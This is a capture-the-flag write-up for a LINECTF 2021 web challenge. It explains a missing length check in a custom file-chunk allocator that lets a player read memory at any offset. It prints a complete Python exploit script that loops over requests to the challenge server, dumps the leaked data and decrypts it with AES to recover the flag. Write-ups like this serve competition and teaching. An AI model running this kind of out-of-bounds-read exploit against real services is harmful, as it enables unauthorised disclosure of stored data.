LINECTF 2021 - Web
Writeup by Payload as Super HexaGoN
When the chunk is deleted or updated with larger size, it frees the chunk and add to empty list with the original size.
We can give arbitrary length during creating the chunk, it's considered to determine the new chunk can be located in the block in the free list.
However, since there doesn't exist the check of the length, we can deliver arbitrary length to force using empty list's chunk.
And also, there is some debug log which shows the 4 bytes of raw ball file and the offset where the error occured.
Our team used following small chunk reusing can read 4 bytes from arbitrary offset.
append("a" * 0x5) # key : k1
append("b" * 0x5) # key : k2
update(k1, "a", 0x10) # force to free the 0x5 size chunk
append("\x00" * 0x31 + struct.pack("q", offset(addr)), 0x3) # this will allocate 0x31 bytes at the first small block
get(k1) # show 4 bytes from addr
However, we must consider some race conditions. Thus, to increase the stability of our exploit, we wrote the python script to leak remote ball file. The following script is by @parrrot
#!/usr/bin/env python3
from me7_ba11.meatball import MeatBall
import requests
import json
import os
import uuid
from pwn import p64
LOCAL = False
secret = ('\x00' * 2048).encode()
AP = "http://35.189.146.132/upload"
UP = "http://35.189.146.132/update"
GET = "http://35.189.146.132/get"
# try:
# os.unlink("meat.ball")
# except:
# pass
mb = MeatBall("meat.ball", {"keyForEncryption": secret})
def append(data, length = None):
global LOCAL, AP, mb
if not length:
length = len(data)
if LOCAL:
x = mb.append({"data": data, "length": length})
key = list(x.keys())[0]
return key
else:
r = requests.post(AP, data = {
"length": length,
},files={'file':('a.jpg',data)})
x = r.json()
key = list(x.keys())[0]
return key
def update(key, data, length):
global LOCAL, UP, mb
if LOCAL:
return mb.update({"key": key, "data": data, "length": length})
else:
r = requests.post(AP, data = {
"length": length,"key": key,
},files={'file':('a.jpg',data)})
return r.json()
def get(key):
global LOCAL, GET, bg
if LOCAL:
x = mb.get({"key": key})
return x[key]
else:
r = requests.get(GET + "?key=" + key)
# r = r.json()['error']['reason']
print(r.text)
r = r.json()['error']['reason']
q = r
r = r[r.index("b'"):r.index("->")]
r = eval(r)
dddd.write(r)
print(r)
dddd = open('./dump.bin','wb')
k1 = append('a' * 0x3000)
k2 = append('b' * 0x3000)
for i in range(1000000):
c = b'Q'*0x3000
c+= bytes.fromhex('be1cffff000000000000014000000000000000000051b2fee86b274915b25c7a26fab5d1d0')
c = c.replace(bytes.fromhex('ffff00000000'),p64(i*4))
update(k1,c,1)
get(k2)
dddd.close()
For some reason, we couldn't read the ball data directly, thus we wrote the simple script to decrypt the ball data
ct = "" #b64 encoded data in ball file
secret="" #uuid
c = b64decode(ct)
print(len(c))
iv = c[:16]
ct = c[16:]
print(iv)
print(ct)
secret = secret.encode("utf-8") + kfe #kfe is 2048 bit secret token
private_key = hashlib.sha256(secret).digest()
cipher = AES.new(private_key, AES.MODE_CBC, iv)
encoded_raw = cipher.decrypt(ct)
print(encoded_raw)
The flag was in 11th entry of the remote ball file.
LINECTF{Tokyo_Udongshinoisieeee_Yokohama_toyonodongoisieeee_Yokosuka_curryoisieeee}